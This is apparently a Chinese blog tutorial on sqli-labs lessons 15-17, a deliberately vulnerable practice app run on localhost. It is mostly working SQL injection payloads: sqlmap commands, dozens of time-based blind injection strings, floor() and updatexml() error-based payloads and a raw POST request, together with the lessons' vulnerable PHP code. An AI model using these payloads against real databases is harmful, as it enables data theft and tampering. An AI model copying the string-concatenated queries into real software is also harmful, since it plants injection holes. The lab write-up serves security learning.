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【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】

时间:2016-06-04 07:03:52      阅读:528      评论:0      收藏:0      [点我收藏+]

标签:

  • Less-15- Blind- Boolian Based- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-15/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BEST

2)手工注入
时间盲注放弃用手工了,这里的语句引用自SQLMAP中测试语句

User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>96,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>112,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>120,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))!=115,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>112,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>120,0,3)))))sIak) AND MEep=MEepPassword:111
User Name:111 AND (SELECT * FROM (SELECT(SLEEP(3-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>116,0,3)))))sIak) AND MEep=MEepPassword:111

3)注入点产生代码

if(isset($_POST[uname]) && isset($_POST[passwd]))
{
    $uname=$_POST[uname];
    $passwd=$_POST[passwd];
    //logging the connection parameters to a file for analysis.
    $fp=fopen(result.txt,a);
    fwrite($fp,User Name:.$uname);
    fwrite($fp,Password:.$passwd."\n");
    fclose($fp);
    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username=‘$uname‘ and password=‘$passwd‘ LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

 

  • Less-16- Blind- Time Based- Double quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-16/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BEST --risk 3 --level 5

2)手工注入
时间盲注放弃用手工了,这里的语句引用自SQLMAP中测试语句

User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))!=115,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>104,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>100,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>102,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>101,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))!=101,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>104,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>100,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>98,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>99,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))!=99,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>118,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>117,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))!=117,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>114,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>113,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))!=114,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>104,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>108,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>106,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>105,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))!=105,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>114,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>115,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))!=116,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>96,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>112,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>120,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>124,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>122,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>121,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))!=121,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>64,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>32,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>16,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>8,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>4,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>2,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111
User Name:") AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),9,1))>1,0,2)))))cLMQ) AND ("rwXh"="rwXh
Password:111

 3)注入点产生代码

// take the variables
if(isset($_POST[uname]) && isset($_POST[passwd]))
{
    $uname=$_POST[uname];
    $passwd=$_POST[passwd];
    //logging the connection parameters to a file for analysis.
    $fp=fopen(result.txt,a);
    fwrite($fp,User Name:.$uname."\n");
    fwrite($fp,Password:.$passwd."\n");
    fclose($fp);
    // connectivity
    $uname=".$uname.";
    $passwd=".$passwd."; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
  • Less-17 Update Query- Error based - String

1)工具用法:
经验总结:这里我是登录之后,才成功用SQLMAP注入成功。使用的账户与密码为:Dumb
有个不靠谱的地方,用update注入语句输入不慎重会不经意间修改其他正常用户密码数据;security库下的USER表中查看发现所有用户密码被更改为0。。。
技术分享
工具命令用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-17/index.php" --data "uname=Dumb&passwd=Dumb&submit=Submit" --current-db --batch --threads 10

 2)手工注入

经验:这关username加入了过滤函数实际注入点在passwd处;

两种报错注入方法,一种是利用floor报错语句,一种是使用updatexml()报错;

通过floor报错语句如下(SQLMAP中所使用的注入语句):

User Name:Dumb
New Password:Dumb AND (SELECT 8824 FROM(SELECT COUNT(*),CONCAT(0x716a6b7671,(语句),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND noKL=noKL

 使用updatexml(),手工注入语句如下:

POST /hacker/sqli-labs-master/Less-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
uname=admin1&passwd=‘ and updatexml(1,concat(0x7e,(select database())),1)#&submit=Submit

3)注入点产生代码

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }
        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }
        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "" . mysql_real_escape_string($value) . "";
            }
    else
        {
        $value = intval($value);
        }
    return $value;
    }
// take the variables
if(isset($_POST[uname]) && isset($_POST[passwd]))
{
//making sure uname is not injectable
$uname=check_input($_POST[uname]);  
$passwd=$_POST[passwd];
//logging the connection parameters to a file for analysis.
$fp=fopen(result.txt,a);
fwrite($fp,User Name:.$uname."\n");
fwrite($fp,New Password:.$passwd."\n");
fclose($fp);
// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
        //echo ‘<font color= "#0000ff">‘;   
        $row1 = $row[username];     
        //echo ‘Your Login name:‘. $row1;
        $update="UPDATE users SET password = ‘$passwd‘ WHERE username=‘$row1‘";
        mysql_query($update);
        echo "<br>";

 



【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】

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原文地址:http://www.cnblogs.com/17bdw/p/5558045.html

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